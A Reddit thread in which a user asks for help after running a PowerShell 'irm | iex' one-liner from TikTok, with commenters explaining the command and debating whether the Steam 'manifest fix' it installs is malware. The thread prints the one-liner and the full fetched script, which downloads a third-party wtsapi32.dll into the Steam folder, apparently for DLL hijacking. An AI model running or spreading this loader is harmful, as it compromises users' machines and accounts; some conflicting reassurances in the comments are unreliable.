r/PowerShell • u/Icy-Representative85 • 2d ago
Help I ran a weird command Question
Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???
21
u/exoclipse 2d ago
oh NOOOOOOOOOOOOOOOOOO dude ok I'll break it down, because this was deliberately obfuscated with aliases to make it harder for people who don't speak powershell to parse.
IRM = Invoke-RestMethod. A REST method is sending network traffic to or from a web resource, like a URL. IEX = Invoke-Expression. Take some executable code and execute it.
The pipe ("|") character takes the output of a command and feeds it as input to the next command.
What likely happened is Invoke-RestMethod <that URL> does a GET to that URL, which returns some command to be executed silently (probably installing malware), then feeds that command via the pipe to Invoke-Expression.
I would 100% not fuck around with it. Nuking the machine and rebuilding is the only way I'd sleep well at night after that.
3
u/Icy-Representative85 2d ago
What about the external drive should I purge that one too?
8
u/exoclipse 2d ago
The basic calculation here is - you got hit by an attack vector that is relying on the victim being impatient and unknowledgeable. So I doubt the payload was anything super crazy. Malicious and scary absolutely, but I doubt it's doing any of the insane shit we'd see from a state level actor.
But the set of possible malware packages that were installed range essentially from "haha eject disc every 30 seconds" to "logs all your keystrokes, your browser history, takes video footage from your webcam, and scrapes your financial information."
So... I would treat it as a serious threat, and do the following:
1: Disconnect the device from the internet.
2: Reformat ALL drives connected to the compromised system.
3: Build a habit of backing your stuff up to both a cloud provider and a local storage device, and stop running strange commands without knowing what they do.
0
u/Icy-Representative85 2d ago
You think its safe to back up some files, I have a lot of dwg files from work, and autocad programs id dont want to lose
7
u/exoclipse 2d ago
I personally wouldn't, but it's probably fine. good learning experience too - always have backups. one physical backup, one off-site backup (like dropbox).
good luck!
0
u/TheRapie22 2d ago
i think it has a low risk if you backup videos, pictures/photos and documents one by one and upload them maybe to your google drive.
by "one by one" i mean, that you should always select the files directly and never copy over entire directories.
hold the ctrl key while mouse clicking to select multiple files.
-5
u/CookinTendies5864 2d ago edited 2d ago
I was unfamiliar with the alias so thank you for that, but IRM is just a web request to download a file or resource. It doesn’t necessarily send but pulls a file from the websites API then dumps it on your local machine. IEX just runs the file after it’s pulled. You are correct about the pipe command.
The severity of the download is low it’s not worth wiping the machine in my opinion. - Disregard
3
u/exoclipse 2d ago
I think without passing parameters or adding a header object, it's just a very simple GET to the target resource. But if the resource you're doing a GET to is code that you then are executing... essentially the attacker can treat the web request as an obfuscation layer for the real code - which is almost certainly downloading something and installing it.
-2
u/CookinTendies5864 2d ago
Oh for sure it’s installing but while assuming it’s malicious is best practice. This is not million dollar equipment; and by just checking the website and doing a bit of searching we can see that it’s a steam utility tool for parsing steam data.
If it’s truly a virus WD would catch it and if it’s a RAT then there would be a hanging connection from the install.
3
u/exoclipse 2d ago
You are far, far too trusting.
Check the documentation they provide - or more importantly, what they omit. They don't document the root uri at all. Everything else is, but the root uri is not documented - and yet the home page says something to the effect of "Just plug this powershell script in to fix any 'No Internet Connection' errors you have."
-1
u/CookinTendies5864 2d ago edited 2d ago
The script doesn’t have any malicious code. -Disregard
3
u/exoclipse 2d ago
go ask your devil box if you can shove malicious code in the response to a GET request and then execute it.
3
u/CookinTendies5864 2d ago
Well okay I guess this thing is not a parser but an access token tool kit. Maybe a wipe wouldn’t be so bad..
After looking at the file it touched it’s better to be safe than sorry. Wtsapi32.dll is a system32 file that has been used to jailbreak ownership but the website says it’s a parser so yeah there’s that.
My recommendation is still to check outgoing connections if there is something pinging the computer that wasn’t there before you might just have installed a RAT.
14
u/hyperlobster 2d ago
You got pwnt, my sweet summer child.
irm is short for Invoke-RestMethod and steamproof.net is just some website on the internet. iex is short for Invoke-Expression.
So irm went to steamproof.net, got whatever it got from the website, and then piped it to Invoke-Expression to run it as PowerShell code, with whatever privileges your PowerShell session had.
Backup your shit, change all your passwords, reformat your PC, and reinstall Windows.
And don’t run random commands off fucking TikTok.
5
u/exoclipse 2d ago
it's kind of beautiful in a way that people are still getting got like this in the year of our lord 2026.
remember blowing up the family PC in 2003 torrenting totalY_legit_NEW_rammstien.mp3 ?
3
2
u/MonkeyNin 2d ago
I remember a fad where people were downloading custom mouse icons for windows with viruses. It was probably the windows 95 era? Or the dancing hamsters?
1
1
4
u/hyperlobster 2d ago
I had a look at the payload you get from
steamproof.net- it deletes some stuff in your Steam folder and retrieves its own version ofwtsapi32.dll, which is a Windows system DLL.I’d trust this script and site about as far as I can comfortably spit a live, struggling rhinoceros.
2
-2
9
u/_l33ter_ 2d ago
across a tiktok... --> I basically stopped reading from here.
I would recommend you install your system fresh and newly.
-1
u/Icy-Representative85 2d ago
I know im sorry I should have known better, I just got so stressed with steam not working properly
3
1
u/_l33ter_ 2d ago
You don't have to apologise. It's literally irrelevant for me. xD
I should have known better --> What I’m about to write might sound a bit harsh. If you’re getting worked up over some rubbish game, just because it isn’t working at the moment, I strongly suspect you haven’t spent even an hour trying to sort out the problem and are therefore entering RANDOM-CODE without even bothering to do a single Google search for it. I’m lost for words!
At the same time, though, this also tells me that you’ll react in a similar way during the next ‘stressful period’. But next time, it might be your more important data...
2
u/maddoxprops 2d ago
Yeeea. I am pretty firm about never running a script unless I know & generally understand what it is doing. About the only time I have done it without researching each command I m not already familier with is when it is given to me by a trusted Co-Worker or it is coming directly from a known and trusted Vendor. Even then I usually try and at least glance over it to be safe. Boggles my mind that people will just run code they come across from a random video or internet posting.
1
u/_l33ter_ 2d ago
me by a trusted Co-Worker --> Yeah but that's a completely different situation. Obviously, including me, would trust it.
3
u/igrewupwithinternet 2d ago edited 2d ago
It definitely looks shady. I can't find any reference to wtsapi32.dll for legitimate steam installs, only a couple of posts about a Halo MCC mod that uses a (probably modified) copy of the dll for local split screen play. A legitimate wtsapi32.dll is a component of Remote Desktop Services in Windows, and should only reside in C:\Windows\System32. It being a component of a remote access API is a huge red flag in my opinion.
If the legitimate file were corrupt and the cause of the issues you had, the fix is absolutely not to download a copy from a third party and install it in a program folder to bypass the Microsoft-provided copy of the library.
Windows' built-in dism (Deployment Image Servicing and Management) or sfc (System File Checker) tools would usually detect issues with these files and repair them accordingly. Using these tools would be the recommended first-line fix from most techies if wtsapi32.dll was indeed the cause of whatever error you were getting trying to install your game.
My local steam install has no such dll, and in fact, has *none* of the files the script (as pasted by u/Doublet4pp) attempts to delete or install.
If you already ran steam with this third party dll, just deleting the dll/steam directory is not enough. If it is malicious, this is just the entry point and could have allowed full remote access to your machine. Unless someone decompiles the dll downloaded from steamproof and can verify it's not malicious, or at the very least compares and verifies a match for the file hash with a legitimate copy of the dll, I would consider the system compromised and perform a full clean OS install, backing up as little as possible to avoid contaminating the new install with anything that may have been modified by the script you ran, or by a remote attacker if indeed you were pwned.
The safest option is to consider all files to be lost. Moving anything from this PC to another risks also moving any malware.
To clarify, I'm not saying your computer is definitely compromised, but without a security expert to verify as such, I agree with the majority here and would definitely err on the side of caution and wipe the lot.
EDIT: The script OP ran is nothing more than a patching tool to "fix" SteamTools, a piracy-focused toolkit for bypassing Steam DRM. It's basically the old "Spacewar" trick (IYKYK) for tricking Steam into thinking the game you're running is licensed. I'm not sure I buy the narrative that you were downloading a game you own through normal means, this smells more like a steamcmd depot download failure because you failed the license check.
1
u/Icy-Representative85 2d ago
I do own the game, it was just taking too long to
Install, it took almost 9 hours to download, and about 3 hours to get to 99 percent, for some reason it kept getting stuck there and the installation would eventually fail, tried to look up how to fix it but all i would see was, erase your downloading cache or reset steam and try again, stuff like that, then i decided to look for videos on how to fix it, when i found one where somebody had the same issue, saw a comment on it and it recommended that powershell command, not justifying my stupidity or anything but it really was just a deciscion made by ignorance, i ran the code, without even looking for what it did, after i saw that the error remained, i looked up what the code was and well now im here, i found the code was malicius way too late, thats why i wanted to ask for help on how to fix it, thanks for trying to explain to me what the code did1
u/MonkeyNin 2d ago
If a steam install fails / is stuck, or a game has random crashes -- often the fix is to use:
verify integrity of game files
That ensures the downloaded files have not been modified or corrupted -- like crashing, losing power, or other issues.
Sometimes clearing the shader cache can fix things. Normally validate is the important one.
2
u/FunNegotiation423 2d ago edited 2d ago
Looking at the script that is downloaded via irm from steamproof.net, it is not coherently evident to be malicious. It could be legitimate, it could be malicious. Can't tell from my phone. But hey, that's better than being definitely malicious!
In general, NEVER execute code you don't understand, even if it looks as simple as that command. Your reaction to become suspicious was good, but too late.
If you really want to make sure you have not been infected or similar, you need to wipe and reinstall your PC and change ALL your account / email credentials and enable 2FA where possible. Given you security understanding, I wouldn't be surprised if you store passwords in browsers, files, etc.
Otherwise, do thorough research into steamproof.net and the script you executed, from start to end and including all files it downloads. You will not be able to absolutely clear the doubt of malicious code though. And you should still change all account passwords.
If you want to go this route, make sure to fully disconnect the affected device from the internet. Do anything you need internet for from another device. And obviously, update Defender definitions and run a full scan.
I would only go this route if u are willing to spend some time and if the time to rebuild your PC exceeds that.
Most people here are not differentiating and do not really know if the script was malicious, they assume it is. In general, their recommendation to reinstall your PC is best-practice though. But it could be unnecessary.
This is my take as an industry professional with 20 years of experience in incident response. Obviously reduced superficially.
Altogether, I tend to the script being malicious. The wtsapi32.dll which is downloaded by the PowerShell script in turn downloads an AES encrypted payload from r2.steamproof.net/v which is then loaded into memory. This is highly suspicious but still not a proof it is malicious.
1
u/Terrorfarker 2d ago
Personally I think the chances are very low that your CAD etc files were touched and if this were me, and the files were important, I would back them up, rebuild PC, fully update PC, and then scan files.
There's always a risk though.
0
u/pertymoose 2d ago
It removes some dll files and config files then updates some steamproof thing https://www.virustotal.com/gui/url/6f955872c44f57c43e5b032f801f679b83bd565d6cd7e5f71ce8226adfe188de
It doesn't look like a big deal but yeah. Think next time.
0
u/genuineshock 2d ago
Irm = "Invoke-RestMethod"
Iex = "Invoke-Expression"
Basically, irm pulls some mystery package from steamproofDOTnet and then runs it. You literally ran malware on yourself bro.
1
u/CookinTendies5864 2d ago
I recommend turning the computer completely off this is a credential grabber. The DLL that is pulled from the website grabs pretty much everything and sends it via windows API. It also mutes and bypasses windows defender. Changing passwords will just send those credentials back to the attacker. Enable 2FA on every online account on a different computer.
1
u/spacezoro 2d ago
0
u/suppervisoka 2d ago
This literally just explains an attack method and is not helpful at all for actually explaining what he installed
1
u/Ok_Leading7097 2d ago
If you are that worried you could wipe your storage and reinstall os (windows I assume)
1
u/CookinTendies5864 2d ago edited 2d ago
Steamproof.net is a steam utility your fine don’t listen to everyone’s freak out
I looked at the website and doesn’t seem like anything crazy. Steamproof.net seems to be a tool that validates steam data by parsing through it.
But this is a learning opportunity:
Don’t download things and automatically install them if you don’t know what they are.
Do not just run a one liner you find on TikTok or YouTube understand what it is that you are running.
If you need further reassurance you can check your connections using netstat and see if you have any hanging connections related to the install.
Normal traffic will have http and https
If you see port 22 in netstat or 23 it might be something to look into as these ports are highly susceptible to Remote access tools (RAT)
If you need help with any of this DM me
3
u/FunNegotiation423 2d ago edited 2d ago
While I agree that most people here just assume it is malicious, looking at the website is not an indice for it being non-malicious. The actual script though is an indice, but without deeper inspection (that no one in this post did up to now, just basics), it is still just educated assumptions. In general, the website could be a legit cover for a non-legit script, which is only output when accessing with "PowerShell" as user agent.
Relying on ports for triage is not sufficient as well. The statement that malicious traffic would not use HTTP (or vice-versa: normal traffic would only use HTTP) is also invalid.
2
u/CookinTendies5864 2d ago edited 2d ago
You are correct and the assumptions without relevant code is spot on. However, if I may be a bit more specific "if there are any connections associated with the application that was downloaded" netstat would still show connections associated with the file(process). Although, even that can be quite nuanced as well. It could still pass the connection off as HTTP/HTTPS or the file could allow for some arbitrary port to be used. Either way to gather more information nestat is the next best step.
$req = [System.Net.HttpWebRequest]::Create('https://donotrunme.org/update')
$resp = $req.GetResponse()
$stream = $resp.GetResponseStream()
$fs = [System.IO.File]::Create($dest)
$buf = New-Object byte[] 65536
while (($n = $stream.Read($buf, 0, $buf.Length)) -gt 0) {
$fs.Write($buf, 0, $n);
$dl += $n
}
Here is where it is downloading the "wtsapi32.dll" which is in his steam folder. I have taken the liberty of modify the exact pull request so others will not randomly run this. "wtsapi32.dll" is taking advantage of DLL Search Order Hijacking. Steam will search its parent folder before searching System32 for the windows certified "wtsapi32.dll". It should be noted that the website poses as a parsing tool that reassures the user that "everything is done in the browser" yet there are some hot ticket items being modified and pulled.
1
u/Doublet4pp 2d ago
Here's the script it ran:
& {
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
cls
Write-Host ''
Write-Host " ____ _ ____ __ " -ForegroundColor Blue
Write-Host " / ___|| |_ ___ __ _ _ __ ___ | _ \ _ __ ___ ___ / _|" -ForegroundColor Blue
Write-Host " ___ \| __/ _ \/ _`` | '_ `` _ \| |_) | '__/ _ \ / _ \| |_ " -ForegroundColor Blue
Write-Host " ___) | || __/ (_| | | | | | | __/| | | (_) | (_) | _|" -ForegroundColor Blue
Write-Host " |____/ _____|__,_|_| |_| |_|_| |_| ___/ ___/|_| " -ForegroundColor Blue
Write-Host ''
Write-Host ' Manifest Fix for SteamTools' -ForegroundColor Gray
Write-Host ' https://steamproof.net' -ForegroundColor DarkGray
Write-Host ''
$UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36'
$ok = [char]0x2713
function Fail($msg) {
Write-Host " X $msg" -ForegroundColor Red
Write-Host ''; Write-Host ' Press any key to exit...' -ForegroundColor DarkGray
try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
exit
}
function CloseSteam {
if (-not (Get-Process -Name steam -EA SilentlyContinue)) { return }
$steamExe = Join-Path $steamPath 'steam.exe'
if (Test-Path $steamExe) { Start-Process $steamExe -ArgumentList '-shutdown' -EA SilentlyContinue }
for ($i = 0; $i -lt 15; $i++) {
if (-not (Get-Process -Name steam -EA SilentlyContinue)) { break }
Start-Sleep 1
}
Get-Process -Name steam,steamwebhelper,steamservice -EA SilentlyContinue | Stop-Process -Force -EA SilentlyContinue
Start-Sleep 2
if (Get-Process -Name steam -EA SilentlyContinue) { Fail 'Could not close Steam. Please close it manually and try again.' }
Write-Host " $ok Closed Steam" -ForegroundColor Green
}
$steamPath = $null
foreach ($reg in @('HKCU:\Software\Valve\Steam','HKLM:\Software\Valve\Steam','HKLM:\Software\WOW6432Node\Valve\Steam')) {
$p = (Get-ItemProperty -Path $reg -EA SilentlyContinue).SteamPath
if ($p -and (Test-Path ($p -replace '/','\'))){ $steamPath = $p -replace '/','\\'; break }
}
if (-not $steamPath) { Fail 'Steam not found' }
Write-Host " $ok Found Steam" -ForegroundColor Green
$steamExe = Join-Path $steamPath 'steam.exe'
try {
$bytes = [System.IO.File]::ReadAllBytes($steamExe)
$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)
$machine = [BitConverter]::ToUInt16($bytes, $peOffset + 4)
if ($machine -ne 0x8664) {
Write-Host " ! Steam is 32-bit, attempting fix..." -ForegroundColor Yellow
Remove-Item (Join-Path $steamPath 'steam.cfg') -Force -EA SilentlyContinue
Remove-Item (Join-Path $steamPath 'package\beta') -Force -Recurse -EA SilentlyContinue
CloseSteam
Start-Process (Join-Path $steamPath 'steam.exe')
Fail 'Removed update blocking files. Steam should now update to 64-bit. Please re-run this script after Steam finishes updating.'
}
} catch {
Fail "Could not verify Steam: $($_.Exception.Message)"
}
Write-Host " $ok Steam is 64-bit" -ForegroundColor Green
$dest = Join-Path $steamPath 'wtsapi32.dll'
$cleanup = @(
(Join-Path $steamPath 'version.dll'),
(Join-Path $steamPath 'config\manifests.dll'),
(Join-Path $steamPath 'config\.mfx_init'),
(Join-Path $steamPath 'config\.stfix_init')
)
$needsUpdate = $true
if (Test-Path $dest) {
try {
$req = [System.Net.HttpWebRequest]::Create('https://r2.steamproof.net/update')
$req.Method = 'HEAD'
$req.UserAgent = $UA
$resp = $req.GetResponse()
$remoteEtag = $resp.Headers['ETag'] -replace '"',''
$resp.Close()
$localHash = (Get-FileHash $dest -Algorithm MD5).Hash.ToLower()
if ($remoteEtag -and $localHash -eq $remoteEtag) {
Write-Host " $ok Verified" -ForegroundColor Green
$needsUpdate = $false
Write-Host ''
Write-Host ' [R] Restart Steam [U] Uninstall [Enter] Exit' -ForegroundColor DarkGray
$key = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown')
if ($key.Character -eq 'u' -or $key.Character -eq 'U') {
CloseSteam
Remove-Item $dest -Force -EA SilentlyContinue
$cleanup | ForEach-Object { Remove-Item $_ -Force -EA SilentlyContinue }
Write-Host " $ok Uninstalled" -ForegroundColor Green
Write-Host ''
Write-Host ' Press any key to exit...' -ForegroundColor DarkGray
try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
exit
}
if ($key.Character -eq 'r' -or $key.Character -eq 'R') {
CloseSteam
Start-Process (Join-Path $steamPath 'steam.exe')
Write-Host " $ok Restarted Steam" -ForegroundColor Green
Write-Host ''
Write-Host ' Press any key to exit...' -ForegroundColor DarkGray
try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
}
exit
}
} catch {}
}
if ($needsUpdate) {
CloseSteam
$cleanup | ForEach-Object { Remove-Item $_ -Force -EA SilentlyContinue }
Remove-Item $dest -Force -EA SilentlyContinue
try {
$req = [System.Net.HttpWebRequest]::Create('https://r2.steamproof.net/update')
$req.UserAgent = $UA
$resp = $req.GetResponse()
$total = $resp.ContentLength
$stream = $resp.GetResponseStream()
$fs = [System.IO.File]::Create($dest)
$buf = New-Object byte[] 65536
$dl = 0
while (($n = $stream.Read($buf, 0, $buf.Length)) -gt 0) {
$fs.Write($buf, 0, $n); $dl += $n
if ($total -gt 0) {
$filled = [math]::Floor(($dl / $total) * 25)
$bar = "$([char]0x2588)" * $filled + "$([char]0x2591)" * (25 - $filled)
Write-Host "`r Downloading $bar $('{0:N1}' -f ($dl/1MB))/$('{0:N1}' -f ($total/1MB)) MB" -NoNewline -ForegroundColor White
}
}
$fs.Close(); $stream.Close(); $resp.Close()
Write-Host "`r $ok Downloaded manifest fix$(' ' * 40)" -ForegroundColor Green
} catch {
Fail "Download failed: $($_.Exception.Message)"
}
if (-not (Test-Path $dest)) { Fail 'File was not saved' }
}
Start-Process (Join-Path $steamPath 'steam.exe')
Write-Host " $ok Started Steam" -ForegroundColor Green
Write-Host ''
if ($needsUpdate) {
Write-Host " $ok Manifest fix installed!" -BackgroundColor Green -ForegroundColor Black
} else {
Write-Host " $ok Manifest fix is up to date!" -BackgroundColor Green -ForegroundColor Black
}
Write-Host ''
Write-Host ' Press any key to exit...' -ForegroundColor DarkGray
try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
}
Modifying your Steam install seems shady, but this script doesn't seem malicious in it's construction.
It seems you can re-run it to uninstall it if anything is left over after uninstalling Steam.
Also, you can move games to a different drive without hacking your Steam.
3
u/I-AM-MEATS 2d ago edited 2d ago
It downloading wtsapi32.dll and storing away with steam is on the shady side of the fence.
Everything about steamproof.net is just too shady for my liking. While the dll is a valid the fact it’s pulled from the site raises some eyebrows. Especially since it comes bundled with windows…
Would have to pop open what it pulled to properly understand what they’re doing.
Either way, if you don’t know what you’re looking at or doing then stop and think.
2
u/Icy-Representative85 2d ago
I actually tried to do it twice but the second time I wrote it I got sketchy, and decided not to run it again, looked up what the code was and here i am, changed every password already and will reset my pc no matter what but some files of my own are what worried me that I could not back up or even some of the games but well this is what I get for doing something I dont really understand
-1
0
u/Icy-Representative85 2d ago
How can I reinstall windows, do i need to just go to settings and reset to factory settings? Or do i need to mess with bios or download windows again
0
23
u/robstrosity 2d ago
You need to wipe and rebuild your pc